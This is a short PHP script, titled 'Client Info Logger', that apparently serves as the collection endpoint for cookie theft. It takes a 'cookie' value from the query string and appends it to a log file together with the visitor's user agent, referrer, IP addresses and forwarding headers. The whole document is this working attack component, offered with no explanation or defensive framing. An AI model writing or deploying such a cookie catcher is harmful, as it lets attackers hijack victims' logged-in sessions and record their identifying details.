Client Info Logger

<?php

$useragent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $_GET['cookie'];
$httpreferrer = $_SERVER['HTTP_REFERER'];
$HttpClientIP = $_SERVER['HTTP_CLIENT_IP'];
$RemAddr = $_SERVER['REMOTE_ADDR'];
$CacheControl = $_SERVER['HTTP_CACHE_CONTROL'];
$XForward = $_SERVER['HTTP_X_FORWARDED_FOR'];
$querystring = $_SERVER['QUERY_STRING'];

$filename = 'log.txt';
$somecontent = "User Agent: $useragent\n Cookie: $cookie\n HTTP Referrer: $httpreferrer\n HTTP Client IP: $HttpClientIP\n Remote Addr
ess: $RemAddr\n Cache Control: $CacheControl\n X Forward: $XForward\n Query String: $querystring\n";

if (is_writable($filename)) {

if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

echo "Success, wrote ($somecontent) to file ($filename)";

fclose($handle);

} else {
echo "The file $filename is not writable";
}
?>